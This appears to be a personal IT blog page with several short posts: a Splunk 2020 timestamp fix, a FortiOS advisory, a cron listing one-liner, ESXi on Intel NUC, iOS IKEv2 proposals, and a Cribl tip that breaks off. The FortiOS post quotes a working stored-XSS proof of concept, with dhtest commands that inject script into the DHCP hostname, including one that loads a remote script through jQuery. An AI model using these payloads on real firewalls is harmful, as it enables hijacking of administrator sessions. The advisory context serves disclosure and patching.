Important Splunk update for timestamp issue starting 01.01.2020

Splunk has identified an issue regarding timestamps, which are intensivly used for data correlation in many Splunkbased logging and SIEM systems. Affected versions are Splunk Enterprise, Splunk Light and Splunk Cloud. This issue has potential significant impact on data ingestion - including causing inaccurate, unsearchable, or prematurely-deleted data - starting January 1, 2020.

Cause of the issue: Timestamps using two-digit years will stop being correctly recognized. Full details around this issue, including workarounds and product fixes, are documented in Release Notes for each Splunk Version: https://docs.splunk.com/Documentation/Splunk/latest/ReleaseNotes/FixDatetimexml2020
 

Possible Solutions:

1. Manual Change of "datetimes.xml"

Change on all Splunk systems (search heads, indexers, heavy forwards etc) the file "datetimes.xml" with the following file: http://download.splunk.com/products/ingest2020/datetime.zip
In order to do that, put the downloaded in $SPLUNK_HOME/etc. (mostly found in /opt/splunk/etc). Then restart the system (in a Indexer Cluster a rolling-restart is possible). Until a splunk patch is available, the warning will be shown, that this file is not part of the splunk manifest. This will be fixed in the future splunk versions.

2. Update to a version with a fix

Splunk will ship minor releases with fixes, soon:

Major Release --- Minor Release with patch
6.6 --- 6.6.12.1 (not yet released)
7.0 --- 7.0.13.1 (not yet released)
7.1 --- 7.1.10 (not yet released)
7.2 --- 7.2.9.1 (not yet released)
7.3 --- 7.3.3 (Installationguide)
8.0 --- 8.0.1 (not yet released)

FortiOS XSS in DHCP-Monitor

Fortinet has released PSIRT FG-IR-19-184 (CVE-2019-6697) about a vulnerability in FortiOS of the FortiGate firewall. A DHCP packet may contain a stored XSS in the hostname parameter field.

Affected Versions and Update

Affected Products are FortiOS 6.2.1 and below & FortiOS 6.0.6 and below.
FortiOS 6.2.2 and FortiOS 6.0.7 fix the vulnerability


PoC/Vulnerability Details from ssd-disclosure.com

Source: https://ssd-disclosure.com/archives/3987/ssd-advisory-fortigate-dhcp-stored-xss

An unauthenticated attacker can trigger a Stored XSS Vulnerability via a malicious DHCP packet in the Fortigate DHCP Monitor.

This can happen if Device Detection is enabled through Network >Interface > Edit Interface > Device Detection

  


 When this option is enabled the attacker may perform the following steps in order to exploit the vulnerability:
  1. Install dhtest or any other tool that can send arbitrary DHCP packets.
    (https://sargandh.wordpress.com/2012/02/23/linux-dhcp-client-simulation-tool/)
  2. Send a malicious DHCP packet. For example:
    1
    2
    3
    4
    #./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onload=alert();)>x"
        [Option]
        -m : mac address
        -h : hostname(dhcp option 12). The attacker can inject malicious scripts.

  • Once the victim logs into Fortigate’s dashboard and goes to the “DHCP Monitor”
    (https://<ip>/ng/dhcp/monitor) the browser will execute the malicious script injected by the attacker.

  • But there are a few limitations:

    The user’s input is validated, not allowing us to use tags like “<script src>”, “<img src=_onerror=>” and other similar options. There are also character count limits:
    • DHCP option 12 has a string size limit allowing only up to 256 characters. More information
      about this option is available in the RFC.
    • Fortigate’s string size can’t be longer than 128 characters.
    However, Fortigate uses jQuery which allows the attacker to bypass the mentioned restrictions and execute arbitrary scripts using the following method:


    #./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onmouseover=$.getScript('//www.example.jp/a.js')>x"
     

    Linux show all cronjobs of all users

    How to Linux show all cronjobs of all users (not ldap or nis users): Use the following command as root:
    for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
     

    Example:

    linuxhost001:~ # for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
    no crontab for bin
    no crontab for daemon
    no crontab for ftp
    no crontab for lp
    no crontab for mail
    no crontab for man
    no crontab for messagebus
    no crontab for news
    no crontab for nobody
    no crontab for nscd
    no crontab for openslp
    no crontab for polkitd
    no crontab for postfix
    no crontab for root
    no crontab for rpc
    no crontab for sshd
    no crontab for statd
    no crontab for systemd-bus-proxy
    no crontab for systemd-timesync
    no crontab for uucp
    no crontab for wwwrun
    no crontab for ntp
    no crontab for nagios
    no crontab for radiusd 

    Intel NUC running VMware ESXi 6.5.3

    Because there are some people on the internet asking for experience on "is my Intel NUC supporting ESXi version x.y.z?", so I will provide short feedback regarding that: Using an Intel NUC NUC7i7DNHE "Intel NUC 8th Gen Commercial" (https://www.intel.de/content/www/de/de/products/boards-kits/nuc.html) I'm running VMware ESXi 6.5 update 3 without any additional drivers necessary.

    VMware updates can be found here: http://www.vmware.com/patchmgr/download.portal

    Apple iPhone/iPad iOS IPSec IKEv2 Proposals

    When setting up VPN-tunnel from an Apple iPhone or iPad running iOS using IPSec with IKEv2 you need to know, which IPSec proposals the iPhone/iPad/iOS device are supporting/offering:

    Offered proposals from iOS

    Testing with an iPhone running iOS 12.4.1 and iPad 13.1.2:
    • AES256-SHA256-DH14 (2048-bit MODP Group) <------ (✔ okay)
    • AES256-SHA256-DH19 (256-bit random ECP group) <------ (✅ recommended)
    • AES256-SHA256-DH5 (1536-bit MODP Group) <------ (❌not recommended)
    • AES128-SHA1-DH2 (1024-bit MODP Group) <------ (❌not recommended)
    • 3DES-SHA1-DH2 (1024-bit MODP Group) <------ (❌not recommended)

    Recommendation

    Therefore I recommened 🔒✅ to use for your IPSec IKEv2 proposals:
    • IKEv2 Phase1: AES-CBC-256 with SHA2-256 and DH-Grp 19 (ECP 256bit)
    • IKEv2 Phase2: AES-CBC-256 with SHA2-256 and DH-Grp 19 (ECP 256bit)

    DH-Grp 19 ECP 256Bit > DH-Grp 14 RSA 2048Bit
    -> For example see BSI recommendation for crypto IPSec page 13 section 3.2.4  or NIST recommendation page 9 line 264
    -> Details for ECP (Elliptic Curve from NIST) for IKEv1/v2 see RFC5903 or IANA ipsec registry

    Details to reverse engineering

    iPhone iOS 12.4.1 IKEv2 RAW output:
    2019-10-27 16:25:15.519164 ike 4: incoming proposal:
    2019-10-27 16:25:15.519176 ike 4: proposal id = 1:
    2019-10-27 16:25:15.519185 ike 4:   protocol = IKEv2:
    2019-10-27 16:25:15.519195 ike 4:      encapsulation = IKEv2/none
    2019-10-27 16:25:15.519205 ike 4:         type=ENCR, val=AES_CBC (key_len = 256)
    2019-10-27 16:25:15.519215 ike 4:         type=INTEGR, val=AUTH_HMAC_SHA2_256_128
    2019-10-27 16:25:15.519224 ike 4:         type=PRF, val=PRF_HMAC_SHA2_256
    2019-10-27 16:25:15.519234 ike 4:         type=DH_GROUP, val=MODP2048.
    2019-10-27 16:25:15.519246 ike 4: proposal id = 2:
    2019-10-27 16:25:15.519255 ike 4:   protocol = IKEv2:
    2019-10-27 16:25:15.519264 ike 4:      encapsulation = IKEv2/none
    2019-10-27 16:25:15.519274 ike 4:         type=ENCR, val=AES_CBC (key_len = 256)
    2019-10-27 16:25:15.519283 ike 4:         type=INTEGR, val=AUTH_HMAC_SHA2_256_128
    2019-10-27 16:25:15.519293 ike 4:         type=PRF, val=PRF_HMAC_SHA2_256
    2019-10-27 16:25:15.519303 ike 4:         type=DH_GROUP, val=ECP256.
    2019-10-27 16:25:15.519314 ike 4: proposal id = 3:
    2019-10-27 16:25:15.519323 ike 4:   protocol = IKEv2:
    2019-10-27 16:25:15.519332 ike 4:      encapsulation = IKEv2/none
    2019-10-27 16:25:15.519342 ike 4:         type=ENCR, val=AES_CBC (key_len = 256)
    2019-10-27 16:25:15.519353 ike 4:         type=INTEGR, val=AUTH_HMAC_SHA2_256_128
    2019-10-27 16:25:15.519365 ike 4:         type=PRF, val=PRF_HMAC_SHA2_256
    2019-10-27 16:25:15.519374 ike 4:         type=DH_GROUP, val=MODP1536.
    2019-10-27 16:25:15.519384 ike 4: proposal id = 4:
    2019-10-27 16:25:15.519392 ike 4:   protocol = IKEv2:
    2019-10-27 16:25:15.519400 ike 4:      encapsulation = IKEv2/none
    2019-10-27 16:25:15.519408 ike 4:         type=ENCR, val=AES_CBC (key_len = 128)
    2019-10-27 16:25:15.519416 ike 4:         type=INTEGR, val=AUTH_HMAC_SHA_96
    2019-10-27 16:25:15.519424 ike 4:         type=PRF, val=PRF_HMAC_SHA
    2019-10-27 16:25:15.519432 ike 4:         type=DH_GROUP, val=MODP1024.
    2019-10-27 16:25:15.519443 ike 4: proposal id = 5:
    2019-10-27 16:25:15.519451 ike 4:   protocol = IKEv2:
    2019-10-27 16:25:15.519459 ike 4:      encapsulation = IKEv2/none
    2019-10-27 16:25:15.519466 ike 4:         type=ENCR, val=3DES_CBC
    2019-10-27 16:25:15.519474 ike 4:         type=INTEGR, val=AUTH_HMAC_SHA_96
    2019-10-27 16:25:15.519482 ike 4:         type=PRF, val=PRF_HMAC_SHA
    2019-10-27 16:25:15.519490 ike 4:         type=DH_GROUP, val=MODP1024.

     

    Cribl - Change values to lowerCase

    Some logs (e.g. Microsoft Azure) sometimes are not fully normalized to all lowercase characters. You can use Cribl to adjust those values by...